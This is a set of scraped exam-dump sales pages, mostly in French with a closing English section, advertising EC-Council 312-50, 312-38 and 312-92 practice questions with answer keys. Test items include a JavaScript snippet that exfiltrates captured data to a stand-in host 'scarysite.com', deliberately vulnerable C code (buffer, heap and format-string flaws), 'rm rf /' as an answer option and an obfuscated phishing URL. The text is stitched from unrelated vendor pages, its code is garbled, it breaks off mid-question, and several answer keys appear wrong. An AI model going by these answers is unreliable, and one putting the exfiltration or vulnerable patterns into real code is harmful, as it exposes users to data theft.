Dernières EC-COUNCIL 312-50 de la pratique de l'examen questions et réponses téléchargement gratuit

Nous assurons seulement le succès de test certification, mais encore la mise à jour est gratuite pour vous. Si vous ne pouvez pas passer le test, votre argent sera 100% rendu. Toutefois, cette possibilité n'est presque pas de se produire. Vous pouvez tout d'abord télécharger le démo gratuit pour prendre un essai.

Pass4Test est un site de provider les chances à se former avant le test Certification IT. Il y a de différentes formations ciblées aux tous candidats. C'est plus facile à passer le test avec la formation de Pass4Test. Parmi les qui ont déjà réussi le test, la majorité a fait la préparation avec la Q&A de Pass4Test. Donc c'est pourquoi, Pass4Test a une bonne réputation dansn l'Industrie IT.

Pass4Test provide non seulement le produit de qualité, mais aussi le bon service. Si malheureusement vous ne pouvez pas réussir le test, votre argent sera tout rendu. Le service de la mise à jour gratuite est aussi pour vous bien que vous passiez le test Certification.

Code d'Examen: 312-50
Nom d'Examen: EC-COUNCIL (Ethical Hacker Certified)
Questions et réponses: 765 Q&As

Dans cette Industrie IT intense, le succès de test EC-COUNCIL 312-50 peut augmenter le salaire. Les gens d'obtenir le Certificat EC-COUNCIL 312-50 peuvent gagner beaucoup plus que les gens sans Certificat EC-COUNCIL 312-50. Le problème est comment on peut réussir le test plus facile?

Le test de Certification EC-COUNCIL 312-50 devient de plus en plus chaud dans l'Industrie IT. En fait, ce test demande beaucoup de travaux pour passer. Généralement, les gens doivent travailler très dur pour réussir.

On peut télécharger quelques parties de Q&A gratuites dans le site Pass4Test à propos de test Certification EC-COUNCIL 312-50. Vous pouvez tester notre fiabilité via le démo. Choisir Pass4Test, c'est-à-dire que vous êtes proche d'un pic ensuite de l'Industrie IT.

312-50 Démo gratuit à télécharger: http://www.pass4test.fr/312-50.html

NO.1 Where should a security tester be looking for information that could be used by an
attacker against an organization? (Select all that apply)
A. CHAT rooms
B. WHOIS database
C. News groups
D. Web sites
E. Search engines
F. Organization's own web site
Answer: A, B, C, D, E, F

EC-COUNCIL examen   312-50   312-50 examen   312-50   312-50

NO.2 A Certkiller security System Administrator is reviewing the network system log files.
He notes the following:
- Network log files are at 5 MB at 12:00 noon.
-At 14:00 hours, the log files at 3 MB.
What should he assume has happened and what should he do about the situation?
A. He should contact the attacker's ISP as soon as possible and have the connection
disconnected.
B. He should log the event as suspicious activity, continue to investigate, and take further
steps according to site security policy.
C. He should log the file size, and archive the information, because the router crashed.
D. He should run a file system check, because the Syslog server has a self correcting file
system problem.
E. He should disconnect from the Internet discontinue any further unauthorized use,
because an attack has taken place.
Answer: B

EC-COUNCIL examen   312-50   312-50

NO.3 Which of the following tools are used for footprinting?(Choose four.
A. Sam Spade
B. NSLookup
C. Traceroute
D. Neotrace
E. Cheops
Answer: A, B, C, D

EC-COUNCIL examen   certification 312-50   312-50 examen   312-50

NO.4 You are footprinting Acme.com to gather competitive intelligence. You visit the
acme.com websire for contact information and telephone number numbers but do
not find it listed there. You know that they had the entire staff directory listed on
their website 12 months ago but now it is not there. How would it be possible for you
to retrieve information from the website that is outdated?
A. Visit google search engine and view the cached copy.
B. Visit Archive.org site to retrieve the Internet archive of the acme website.
C. Crawl the entire website and store them into your computer.
D. Visit the company's partners and customers website for this information.
Answer: B

EC-COUNCIL   312-50   312-50

NO.5 Snort has been used to capture packets on the network. On studying the packets, the
penetration tester finds it to be abnormal. If you were the penetration tester, why
would you find this abnormal?
(Note: The student is being tested on concept learnt during passive OS
fingerprinting, basic TCP/IP connection concepts and the ability to read packet
signatures from a sniff dumo.)
05/20-17:06:45.061034 192.160.13.4:31337 -> 172.16.1.101:1
TCP TTL:44 TOS:0x10 ID:242
***FRP** Seq: 0XA1D95 Ack: 0x53 Win: 0x400
...
05/20-17:06:58.685879 192.160.13.4:31337 ->
172.16.1.101:1024
TCP TTL:44 TOS:0x10 ID:242
***FRP** Seg: 0XA1D95 Ack: 0x53 Win: 0x400
What is odd about this attack? (Choose the most appropriate statement)
A. This is not a spoofed packet as the IP stack has increasing numbers for the three flags.
B. This is back orifice activity as the scan comes from port 31337.
C. The attacker wants to avoid creating a sub-carrier connection that is not normally
valid.
D. There packets were created by a tool; they were not created by a standard IP stack.
Answer: B

EC-COUNCIL   312-50   312-50 examen

NO.6 What does the term "Ethical Hacking" mean?
A. Someone who is hacking for ethical reasons.
B. Someone who is using his/her skills for ethical reasons.
C. Someone who is using his/her skills for defensive purposes.
D. Someone who is using his/her skills for offensive purposes.
Answer: C

EC-COUNCIL   certification 312-50   certification 312-50

NO.7 What are the two basic types of attacks?(Choose two.
A. DoS
B. Passive
C. Sniffing
D. Active
E. Cracking
Answer: B, D

EC-COUNCIL   312-50   312-50 examen   312-50

NO.8 You receive an email with the following message:
Hello Steve,
We are having technical difficulty in restoring user database record after the recent
blackout. Your account data is corrupted. Please logon to the SuperEmailServices.com
and change your password.
http://www.supermailservices.com@0xde.0xad.0xbe.0xef/support/logon.htm
If you do not reset your password within 7 days, your account will be permanently
disabled locking you out from our e-mail services.
Sincerely,
Technical Support
SuperEmailServices
From this e-mail you suspect that this message was sent by some hacker since you
have been using their e-mail services for the last 2 years and they have never sent
out an e-mail such as this. You also observe the URL in the message and confirm
your suspicion about 0xde.0xad.0xbde.0xef which looks like hexadecimal numbers.
You immediately enter the following at Windows 2000 command prompt:
Ping0xde.0xad.0xbe.0xef
You get a response with a valid IP address.
What is the obstructed IP address in the e-mail URL?
A. 222.173.190.239
B. 233.34.45.64
C. 54.23.56.55
D. 199.223.23.45
Answer: A

certification EC-COUNCIL   certification 312-50   312-50   certification 312-50

NO.9 How does Traceroute map the route that a packet travels from point A to point B?
A. It uses a TCP Timestamp packet that will elicit a time exceed in transit message.
B. It uses a protocol that will be rejected at the gateways on its way to its destination.
C. It manipulates the value of time to live (TTL) parameter packet to elicit a time
exceeded in transit message.
D. It manipulated flags within packets to force gateways into generating error messages.
Answer: C

EC-COUNCIL   312-50 examen   312-50

NO.10 Your Certkiller trainee Sandra asks you which are the four existing Regional
Internet Registry (RIR's)?
A. APNIC, PICNIC, ARIN, LACNIC
B. RIPE NCC, LACNIC, ARIN, APNIC
C. RIPE NCC, NANIC, ARIN, APNIC
D. RIPE NCC, ARIN, APNIC, LATNIC
Answer: B

certification EC-COUNCIL   certification 312-50   312-50 examen   certification 312-50   312-50   312-50 examen

NO.11 User which Federal Statutes does FBI investigate for computer crimes involving
e-mail scams and mail fraud?
A. 18 U.S.C 1029 Possession of Access Devices
B. 18 U.S.C 1030 Fraud and related activity in connection with computers
C. 18 U.S.C 1343 Fraud by wire, radio or television
D. 18 U.S.C 1361 Injury to Government Property
E. 18 U.S.C 1362 Government communication systems
F. 18 U.S.C 1831 Economic Espionage Act
G. 18 U.S.C 1832 Trade Secrets Act
Answer: B

certification EC-COUNCIL   312-50   certification 312-50   312-50   312-50   certification 312-50

NO.12 Who is an Ethical Hacker?
A. A person whohacksfor ethical reasons
B. A person whohacksfor an ethical cause
C. A person whohacksfor defensive purposes
D. A person whohacksfor offensive purposes
Answer: C

certification EC-COUNCIL   312-50 examen   312-50 examen   312-50

NO.13 A very useful resource for passively gathering information about a target company
is:
A. Host scanning
B. Whois search
C. Traceroute
D. Ping sweep
Answer: B

EC-COUNCIL examen   312-50   312-50

NO.14 Which of the following activities will NOT be considered as passive footprinting?
A. Go through the rubbish to find out any information that might have been discarded.
B. Search on financial site such as Yahoo Financial to identify assets.
C. Scan the range of IP address found in the target DNS database.
D. Perform multiples queries using a search engine.
Answer: C

EC-COUNCIL   312-50 examen   312-50   312-50   312-50   312-50

NO.15 To what does "message repudiation" refer to what concept in the realm of email
security?
A. Message repudiation means a user can validate which mail server or servers a message
was passed through.
B. Message repudiation means a user can claim damages for a mail message that
damaged their reputation.
C. Message repudiation means a recipient can be sure that a message was sent from a
particular person.
D. Message repudiation means a recipient can be sure that a message was sent from a
certain host.
E. Message repudiation means a sender can claim they did not actually send a particular
message.
Answer: E

EC-COUNCIL examen   312-50   312-50 examen   312-50   312-50

NO.16 According to the CEH methodology, what is the next step to be performed after
footprinting?
A. Enumeration
B. Scanning
C. System Hacking
D. Social Engineering
E. Expanding Influence
Answer: B

EC-COUNCIL   certification 312-50   312-50   certification 312-50

NO.17 What is the essential difference between an 'Ethical Hacker' and a 'Cracker'?
A. The ethical hacker does not use the same techniques or skills as a cracker.
B. The ethical hacker does it strictly for financial motives unlike a cracker.
C. The ethical hacker has authorization from the owner of the target.
D. The ethical hacker is just a cracker who is getting paid.
Answer: C

EC-COUNCIL   312-50   312-50   312-50

NO.18 What is "Hacktivism"?
A. Hacking for a cause
B. Hacking ruthlessly
C. An association which groups activists
D. None of the above
Answer: A

EC-COUNCIL   312-50   312-50

NO.19 You are footprinting an organization to gather competitive intelligence. You visit
the company's website for contact information and telephone numbers but do not
find it listed there. You know that they had the entire staff directory listed on their
website 12 months ago but not it is not there.
How would it be possible for you to retrieve information from the website that is
outdated?
A. Visit google's search engine and view the cached copy.
B. Visit Archive.org web site to retrieve the Internet archive of the company's website.
C. Crawl the entire website and store them into your computer.
D. Visit the company's partners and customers website for this information.
Answer: B

EC-COUNCIL   certification 312-50   certification 312-50   312-50

NO.20 Which one of the following is defined as the process of distributing incorrect
Internet Protocol (IP) addresses/names with the intent of diverting traffic?
A. Network aliasing
B. Domain Name Server (DNS) poisoning
C. Reverse Address Resolution Protocol (ARP)
D. Port scanning
Answer: B

EC-COUNCIL examen   312-50   312-50 examen   312-50 examen

Pass4Test est un site à offrir particulièrement la Q&A EC-COUNCIL 312-50, vous pouvez non seulement aprrendre plus de connaissances professionnelles, et encore obtenir le Passport de Certification EC-COUNCIL 312-50, et trouver un meilleur travail plus tard. Les documentations offertes par Pass4Test sont tout étudiés par les experts de Pass4Test en profitant leurs connaissances et expériences, ces Q&As sont impresionnées par une bonne qualité. Il ne faut que choisir Pass4Test, vous pouvez non seulement passer le test EC-COUNCIL 312-50 et même se renforcer vos connaissances professionnelles IT.

Le matériel de formation de l'examen de meilleur EC-COUNCIL 312-38

Vous EC-COUNCIL 312-38 pouvez télécharger le démo EC-COUNCIL 312-38 gratuit dans le site Pass4Test pour essayer notre qualité. Une fois vous achetez le produit de Pass4Test, nous allons faire tous effort à vous aider à réussir le test à la première fois et vous laisser savoir qu'il ne faut pas beaucoup de travaux pour réussir ce que vous voulez.

Chaque expert dans l'équipe de Pass4Test ont son autorité dans cette industrie. Ils profitent ses expériences et ses connaissances professionnelles à préparer les documentations pour les candidats de test Certification IT. Les Q&As produites par Pass4Test ont une haute couverture des questions et une bonne précision des réponses qui vous permettent la réussie de test par une seule fois. D'ailleurs, un an de service gratuit en ligne après vendre est aussi disponible pour vous.

Pour l'instant, vous pouvez télécharger le démo gratuit de Q&A EC-COUNCIL 312-38 dans Pass4Test pour se former avant le test EC-COUNCIL 312-38.

Pass4Test est un seul site de provider le guide d'étude EC-COUNCIL 312-38 de qualité. Peut-être que vous voyiez aussi les Q&A EC-COUNCIL 312-38 dans autres sites, mais vous allez découvrir laquelle est plus complète. En fait, Pass4Test est aussi une resource de Q&A pour les autres site web.

Code d'Examen: 312-38
Nom d'Examen: EC-COUNCIL (EC-Council Network Security Administrator)
Questions et réponses: 330 Q&As

Pass4Test, où vous pouvez trouver les conseils et les documentations de test Certification EC-COUNCIL 312-38, est un siteweb remarquable offrant les données à préparer le test IT. Les documentations partiels et les mis en nouveau sont offerts gratuitement dans le site de Pass4Test. D'ailleurs, nos experts profitent de leurs expériences et leurs efforts à lancer sans arrêts les Q&A plus proches au test réel. Vous allez passer votre examen plus facile.

Dans cette société bien intense, c'est avantage si quelque'un a une technique particulère, donc c'est pourquoi beaucoup de gens ont envie de dépnenser les efforts et le temps à préparer le test EC-COUNCIL 312-38, mais ils ne peuvaient pas réussir finalement. C'est juste parce que ils ont pas bien choisi une bonne formation. L'outil de formation lancé par les experts de Pass4Test vous permet à passer le test EC-COUNCIL 312-38 coûtant un peu d'argent.

312-38 Démo gratuit à télécharger: http://www.pass4test.fr/312-38.html

NO.1 In which of the following conditions does the system enter ROM monitor mode? Each correct answer
represents a complete solution. Choose all that apply.
A. The router does not have a configuration file.
B. There is a need to set operating parameters.
C. The user interrupts the boot sequence.
D. The router does not find a valid operating system image.
Answer: C,D

EC-COUNCIL   certification 312-38   312-38

NO.2 Which of the following is a 16-bit field that identifies the source port number of the application program
in the host that is sending the segment?
A. Sequence Number
B. Header Length
C. Acknowledgment Number
D. Source Port Address
Answer: D

certification EC-COUNCIL   312-38   312-38   312-38

NO.3 CORRECT TEXT
Fill in the blank with the appropriate word. The ____________________risk analysis process analyzes
the effect of a risk event deriving a numerical value.
Answer: quantitative

EC-COUNCIL   312-38 examen   certification 312-38   312-38   certification 312-38   312-38

NO.4 Which of the following is the practice of sending unwanted e-mail messages, frequently with
commercial content, in large quantities to an indiscriminate set of recipients? Each correct answer
represents a complete solution. Choose all that apply.
A. E-mail spam
B. Junk mail
C. Email spoofing
D. Email jamming
Answer: A,B

certification EC-COUNCIL   312-38   certification 312-38   312-38

NO.5 John works as a professional Ethical Hacker. He has been assigned the project of testing the security
of www.we-are-secure.com. He is using a tool to crack the wireless encryption keys. The description of
the tool is as follows:
Which of the following tools is John using to crack the wireless encryption keys?
A. PsPasswd
B. Kismet
C. AirSnort
D. Cain
Answer: C

certification EC-COUNCIL   312-38 examen   certification 312-38   certification 312-38

NO.6 CORRECT TEXT
Fill in the blank with the appropriate term. ------------------------------- is the complete network configuration
and information toolkit that uses multi-threaded and multi-connection technologies in order to be very fast
and efficient.
Answer: NetRanger

EC-COUNCIL   312-38 examen   312-38   certification 312-38   312-38 examen   312-38

NO.7 Which of the following is a protocol that describes an approach to providing "streamlined" support of
OSI application services on top of TCP/IP-based networks for some constrained environments?
A. Network News Transfer Protocol
B. Lightweight Presentation Protocol
C. Internet Relay Chat Protocol
D. Dynamic Host Configuration Protocol
Answer: B

EC-COUNCIL examen   312-38   312-38 examen

NO.8 CORRECT TEXT
Fill in the blank with the appropriate term. A _______________device is used for uniquely recognizing
humans based upon one or more intrinsic physical or behavioral traits.
Answer: biometric

EC-COUNCIL   312-38   312-38   312-38

NO.9 Which of the following types of VPN uses the Internet as its main backbone, allowing users, customers,
and branch offices to access corporate network resources across various network architectures?
A. PPTP VPN
B. Remote access VPN
C. Extranet-based VPN
D. Intranet-based VPN
Answer: C

certification EC-COUNCIL   certification 312-38   certification 312-38   312-38 examen

NO.10 CORRECT TEXT
Fill in the blank with the appropriate term. The _____________is an application layer protocol that is used
between workstations and routers for transporting SNA/NetBIOS traffic over TCP sessions.
Answer: DCAP

EC-COUNCIL   312-38   312-38   certification 312-38   312-38

NO.11 DRAG DROP
Drag and drop the terms to match with their descriptions.?
Answer:

NO.12 Which of the following is designed to detect the unwanted presence of fire by monitoring
environmental changes associated with combustion?
A. Fire sprinkler
B. Fire suppression system
C. Fire alarm system
D. Gaseous fire suppression
Answer: C

EC-COUNCIL   312-38 examen   312-38   certification 312-38   certification 312-38

NO.13 Which of the following is a process that detects a problem, determines its cause, minimizes the
damages, resolves the problem, and documents each step of response for future reference?
A. Incident response
B. Incident handling
C. Incident management
D. Incident planning
Answer: A

EC-COUNCIL   certification 312-38   312-38 examen   312-38

NO.14 Which of the following analyzes network traffic to trace specific transactions and can intercept and log
traffic passing over a digital network? Each correct answer represents a complete solution. Choose all
that apply.
A. Wireless sniffer
B. Spectrum analyzer
C. Protocol analyzer
D. Performance Monitor
Answer: A,C

EC-COUNCIL   312-38 examen   312-38   312-38   312-38 examen

NO.15 CORRECT TEXT
Fill in the blank with the appropriate term. ______________________ is typically carried out by a remote
attacker attempting to gain information or access to a network on which it is not authorized or allowed.
Answer: Network reconnaissance

certification EC-COUNCIL   312-38   certification 312-38   certification 312-38

NO.16 Which of the following protocols is used for exchanging routing information between two gateways in a
network of autonomous systems?
A. IGMP
B. ICMP
C. EGP
D. OSPF
Answer: C

EC-COUNCIL examen   312-38   certification 312-38   312-38   312-38

NO.17 Which of the following is an intrusion detection system that monitors and analyzes the internals of a
computing system rather than the network packets on its external interfaces?
A. IPS
B. HIDS
C. DMZ
D. NIDS
Answer: B

EC-COUNCIL   312-38   312-38   312-38

NO.18 You are an Administrator for a network at an investment bank. You are concerned about individuals
breeching your network and being able to steal data before you can detect their presence and shut down
their access. Which of the following is the best way to address this issue?
A. Implement a strong password policy.
B. Implement a strong firewall.
C. Implement a honey pot.
D. Implement network based anti virus.
Answer: C

EC-COUNCIL examen   312-38 examen   312-38   312-38

NO.19 John works as a C programmer. He develops the following C program:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int buffer(char *str) {
char buffer1[10];
strcpy(buffer1, str);
return 1;
}
int main(int argc, char *argv[]) {
buffer (argv[1]);
printf("Executed\n");
return 1;
}
His program is vulnerable to a __________ attack.
A. SQL injection
B. Denial-of-Service
C. Buffer overflow
D. Cross site scripting
Answer: C

EC-COUNCIL   312-38 examen   certification 312-38   312-38

NO.20 Which of the following is a tool that runs on the Windows OS and analyzes iptables log messages to
detect port scans and other suspicious traffic?
A. Nmap
B. Hping
C. NetRanger
D. PSAD
Answer: D

certification EC-COUNCIL   certification 312-38   certification 312-38   certification 312-38   312-38 examen

Vous pouvez comparer un peu les Q&As dans les autres sites web que lesquelles de Pass4Test, c'est pas difficile à trouver que la Q&A EC-COUNCIL 312-38 est plus complète. Vous pouvez télécharger le démo gratuit à prendre un essai de la qualité de Pass4Test. La raison de la grande couverture des questions et la haute qualité des réponses vient de l'expérience riche et la connaissances professionnelles des experts de Pass4Test. La nouvelle Q&A de EC-COUNCIL 312-38 lancée par l'équipe de Pass4Test sont bien populaire par les candidats.

EC-COUNCIL 312-92, de formation et d'essai

Beaucoup de travailleurs espèrent obtenir quelques Certificat IT pour avoir une plus grande space de s'améliorer. Certains certificats peut vous aider à réaliser ce rêve. Le test EC-COUNCIL 312-92 est un certificat comme ça. Mais il est difficile à réussir. Il y a plusieurs façons pour se préparer, vous pouvez dépenser plein de temps et d'effort, ou vous pouvez choisir une bonne formation en Internet. Pass4Test est un bon fournisseur de l'outil formation de vous aider à atteindre votre but. Selons vos connaissances à propos de Pass4Test, vous allez faire un bon choix de votre formation.

Dans cette époque glorieuse, l'industrie IT est devenue bien intense. C'est raisonnable que le test EC-COUNCIL 312-92 soit un des tests plus populaires. Il y a de plus en plus de gens qui veulent participer ce test, et la réussite de test EC-COUNCIL 312-92 est le rêve pour les professionnels ambitieux.

Code d'Examen: 312-92
Nom d'Examen: EC-COUNCIL (EC-Council Certified Secure Programmer v2)
Questions et réponses: 99 Q&As

Le guide d'étude de Pas4Test comprend l'outil de se former et même que le test de simulation très proche de test réel. Pass4Test vous permet de se forcer les connaissances professionnelles ciblées à l'examen Certification EC-COUNCIL 312-92. Il n'y a pas de soucis à réussir le test avec une haute note.

On doit faire un bon choix pour passer le test EC-COUNCIL 312-92. C'est une bonne affaire à choisir la Q&A de Pass4Test comme le guide d'étude, parce que vous allez obtenir la Certification EC-COUNCIL 312-92 en dépensant d'un petit invertissement. D'ailleur, la mise à jour gratuite pendant un an est aussi gratuite pour vous. C'est vraiment un bon choix.

312-92 Démo gratuit à télécharger: http://www.pass4test.fr/312-92.html

NO.1 Fred is planning on using the windows socket application ClientApp.exe program to create a client-side
application that his employees will use. This program will access backend programs from two different
remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default
settings, what port must he have the network engineer open in order for the application to communicate?
A. 21
B. 23
C. 25
D. 80
Answer: D

EC-COUNCIL   312-92   certification 312-92

NO.2 Steve is using the libcap library to create scripts for capturing and analyzing network traffic.
Steve has never used libcap before and is struggling with finding out the correct functions to use. Steve is
trying to pick the default network interface in his script and does not know which function to use. Which
function would he use to correctly choose the default interface in the script?
A. pcap_open_live
B. pcap_int_default
C. pcap_lookupdev
D. pcap_use_int
Answer: C

certification EC-COUNCIL   certification 312-92   312-92   312-92   312-92 examen   certification 312-92

NO.3 Harold is programming an application that needs to be incorporate data encryption. Harold decides to
utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2bit working registers.
What encryption algorithm has Harold decided to use?
A. Blowfish
B. RC5
C. RC4
D. RC6
Answer: D

certification EC-COUNCIL   certification 312-92   312-92

NO.4 Which Linux command will securely delete a file by overwriting its contents?
A. rm rf /
B. Shred
C. ps rm
D. del rm
Answer: B

EC-COUNCIL   312-92   312-92   certification 312-92   312-92

NO.5 What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, normal output );
strcpy(input, argv[1]); printf( input at %p: %s\n , input, input);
printf( output at %p: %s\n , output, output);
printf( \n\n%s\n , output);
}
A. Stack buffer overflow
B. Heap overflow
C. Query string manipulation
D. Pointer Subterfuge
Answer: B

EC-COUNCIL   312-92 examen   312-92 examen   312-92 examen   312-92

NO.6 Shayla is designing a web-based application that will pass data to and from a company extranet. This
data is very sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital
signature to protect the data. The digital signature she has chosen to use is based on the difficulty in
computing discrete logarithms. Which digital signature has she chosen?
A. Rabin
B. Diffie-Hellman
C. SA-PSS
D. ElGamal
Answer: D

EC-COUNCIL   certification 312-92   312-92 examen   certification 312-92   certification 312-92   312-92 examen

NO.7 After learning from an external auditor that his code was susceptible to attack, George decided to
rewrite some of his code to look like the following. What is George preventing by changing the code?
public voif doContent(...) {
...
String s;
if ((s = getUsernameByID( userid )) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write( <br>Applicant:<u>
+ s +
</u> );
}
...
}
A. Query string manipulation
B. XSS attack
C. Cookie poisoning
D. SQL injection
Answer: B

certification EC-COUNCIL   312-92   certification 312-92   312-92   312-92

NO.8 John is creating a website using ASP. John s web pages will have a number of calculations, so he
decides to create an include file that the pages will call so he does not have to rewrite the formula
numerous times. John s website will be hosted by a server running IIS. John wants to ensure that the
include source code is not revealed when the pages are viewed, so he gives the include an .asp
extension.
When IIS processes the include file, which system file will be used to hide the include source code?
A. ASP.dll
B. Include.dll
C. IISASP.dll
D. IIS.dll
Answer: A

EC-COUNCIL   312-92   312-92   certification 312-92

NO.9 David is an applications developer working for Dewer and Sons law firm in Los Angeles David just
completed a course on writing secure code and was enlightened by all the intricacies of how code must
be rewritten many times to ensure its security. David decides to go through all the applications he has
written and change them to be more secure. David comes across the following snippet in one of his
programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar( \n );
printf( number (%p) is equal to %d\n ,
&value, value);
}
What could David change, add, or delete to make this code more secure?
A. Change putchar( \n ) to putchar( %s , \n )
B. Change printf(argv[1]) to printf( %s , argv[1])
C. Change printf(argv[1]) to printf(constv [0])
D. Change int number = 5 to const number =
Answer: B

EC-COUNCIL   312-92   312-92

NO.10 Travis, a senior systems developer for YNY Services, received an email recently from an unknown
source. Instead of opening the email on his normal production machine, Travis decides to copy the email
to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and
discovers a link that is supposed to take him to http://scarysite.com. Travis decides to get back on his
production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring =
for(fld in this) {
obstring += fld + :
this[fld] + , ;
}
obstring += email:
+ x;
var req = new XMLHttpRequest();
req.open( GET , http://scarysite.com?obj=
+
escape(objString), true);
req.send(null);
}
</script>
A. URL obfuscation
B. XSS attack
C. JavaScript hijacking
D. URL tampering
Answer: C

certification EC-COUNCIL   312-92 examen   312-92   certification 312-92

NO.11 Wayne is a gaming software developer for a large video gaming company in Los Angeles. Wayne has
just completed developing a new action/adventure game for the company that is to be released soon. To
protect the company s copyright on the game, Wayne would like to incorporate a technology that will
restrict the use of the digital files by controlling access, altering, sharing, copying, printing, and saving.
What technology does Wayne want to use?
A. ARM
B. WRM
C. DRM
D. Diffusion
Answer: C

EC-COUNCIL   312-92   312-92   312-92 examen

NO.12 Processes having the CAP_NET_BIND_SERVICE
can listen on which ports?
A. Any TCP port over 1024
B. Any UDP port under 1024
C. Any TCP port under 1024
D. Any UDP port over 1024
Answer: C

EC-COUNCIL examen   312-92   312-92   312-92 examen

NO.13 What security package is implemented with the following code.?
dwStatus = DsMakSpn
(
ldap ,
MyServer.Mydomain.com ,
NULL,
0,
NULL,
&pcSpnLength,
pszSpn
);
rpcStatus = RpcServerRegisterAuthInfo
(
psz
RPC_C_AUTHN_GSS_NEGOTIATE,
NULL,
NULL
);
A. Diffie-Hellman encryption
B. Repurposing
C. SSPI
D. SMDT
Answer: A

certification EC-COUNCIL   certification 312-92   312-92 examen   312-92 examen   312-92 examen

NO.14 Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha. The
developers in Kenny s company have just finished creating a 3D first person shooter game that will be
released to the market within the next couple of months. Kenny is trying to decide what type of license or
activation code structure they should use for the game to prevent piracy and protect their product. Kenny
decides to go with an approach that will allow each sold copy to be activated online up to five times
because he knows his users might have multiple PCs or might need to reinstall the product at some point.
What type of activation policy has Kenny decided to go with?
A. Loose license enforced
reasonable use
B. License terms enforced
fair use
C. Strict license terms enforced
D. Monitor only mode
Answer: A

EC-COUNCIL   312-92 examen   312-92 examen   312-92 examen   312-92

NO.15 Devon is an applications developer that just got back from a conference on how to correctly write code.
Devon has a number of programs he has written that access data across WAN links, so he is particularly
concerned about their security. Devon writes a script in C++ to check the security of the programs running
on his internal servers. What will the following code from Devon s script accomplish?
#include <iostream>
#include <socket.cpp>
#include <util.h>
using namespace std;
bool tryPort(int p);
string target("");
int main(int argC, char *argV[])
{
printf("PlagueZ port scanner 0.1\n");
int startPort = getInt("start Port: ");
int endPort = getInt("end Port: ");
target = getString("Host: ");
printf("[Processing port %d to %d]\n",
startPort, endPort);
for(int i=0; i<endPort; i++)
{
printf("[Trying port: %d]\n", i);
if(tryPort(i)) // port open
printf("[Port %d is open]\n", i);
}
printf("------Scan Finished-------\n");
system("pause");
return 0;
}
bool tryPort(int p)
{
SocketClient *scan;
try
{
scan = new SocketClient(target, p);
}
catch(int e) { delete &scan; return
false; }
delete &scan;
return true;
}
A. Scan the perimeter firewall for DoS vulnerabilities
B. Create socket connections to the remote sites to check their security
C. Close off any ports used by malicious code
D. Scan for open ports
Answer: D

EC-COUNCIL   312-92   312-92

Vous n'avez besoin que de faire les exercices à propos du test EC-COUNCIL 312-92 offertes par Pass4Test, vous pouvez réussir le test sans aucune doute. Et ensuite, vous aurez plus de chances de promouvoir avec le Certificat. Si vous ajoutez le produit au panier, nous vous offrirons le service 24h en ligne.

The latest EC-COUNCIL 312-92 Exam free download

You can free download part of practice questions and answers about EC-COUNCIL certification 312-92 exam to test our quality. ITCertMaster can help you 100% pass EC-COUNCIL certification 312-92 exam, and if you carelessly fail to pass EC-COUNCIL certification 312-92 exam, we will guarantee a full refund for you.

Before you decide to buy ITCertMaster of EC-COUNCIL 312-92 exam questions, you will have a free part of the questions and answers as a trial. So that you will know the quality of the ITCertMaster of EC-COUNCIL 312-92 exam training materials. The EC-COUNCIL 312-92 exam of ITCertMaster is the best choice for you.

Exam Code: 312-92
Exam Name: EC-COUNCIL (EC-Council Certified Secure Programmer v2)
Guaranteed success with practice guides, No help, Full refund!
99 Questions and Answers
Updated: 2013-12-27

Are you facing challenges in your career? Would you like to better prove yourself to others by improving your ability? Would you like to have more opportunities to get promoted? Hurry to sign up for IT certification exam and get the IT certificate. EC-COUNCIL certification exam is one of the important exams. If you obtain EC-COUNCIL certificate, you will get a great help. Because EC-COUNCIL 312-92 certification test is a very important exam, you can begin with passing 312-92 test. Are you wandering how to pass rapidly 312-92 certification exam? ITCertMaster certification training dumps can help you to achieve your goals.

ITCertMaster is an excellent source of information on IT Certifications. In the ITCertMaster, you can find study skills and learning materials for your exam. ITCertMaster's EC-COUNCIL 312-92 training materials are studied by the experienced IT experts. It has a strong accuracy and logic. To encounter ITCertMaster, you will encounter the best training materials. You can rest assured that using our EC-COUNCIL 312-92 exam training materials. With it, you have done fully prepared to meet this exam.

Never say you can not do it. This is my advice to everyone. Even if you think that you can not pass the demanding EC-COUNCIL 312-92 exam. You can find a quick and convenient training tool to help you. ITCertMaster's EC-COUNCIL 312-92 exam training materials is a very good training materials. It can help you to pass the exam successfully. And its price is very reasonable, you will benefit from it. So do not say you can't. If you do not give up, the next second is hope. Quickly grab your hope, itis in the ITCertMaster's EC-COUNCIL 312-92 exam training materials.

312-92 Free Demo Download: http://www.itcertmaster.com/312-92.html

NO.1 Harold is programming an application that needs to be incorporate data encryption. Harold decides to
utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2bit working registers.
What encryption algorithm has Harold decided to use?
A. Blowfish
B. RC5
C. RC4
D. RC6
Answer: D

EC-COUNCIL exam dumps   312-92   312-92 questions   312-92 exam prep

NO.2 What security package is implemented with the following code.?
dwStatus = DsMakSpn
(
ldap ,
MyServer.Mydomain.com ,
NULL,
0,
NULL,
&pcSpnLength,
pszSpn
);
rpcStatus = RpcServerRegisterAuthInfo
(
psz
RPC_C_AUTHN_GSS_NEGOTIATE,
NULL,
NULL
);
A. Diffie-Hellman encryption
B. Repurposing
C. SSPI
D. SMDT
Answer: A

EC-COUNCIL exam simulations   312-92 practice test   312-92   312-92

NO.3 John is creating a website using ASP. John s web pages will have a number of calculations, so he
decides to create an include file that the pages will call so he does not have to rewrite the formula
numerous times. John s website will be hosted by a server running IIS. John wants to ensure that the
include source code is not revealed when the pages are viewed, so he gives the include an .asp
extension.
When IIS processes the include file, which system file will be used to hide the include source code?
A. ASP.dll
B. Include.dll
C. IISASP.dll
D. IIS.dll
Answer: A

EC-COUNCIL   312-92   312-92 test answers

NO.4 Shayla is designing a web-based application that will pass data to and from a company extranet. This
data is very sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital
signature to protect the data. The digital signature she has chosen to use is based on the difficulty in
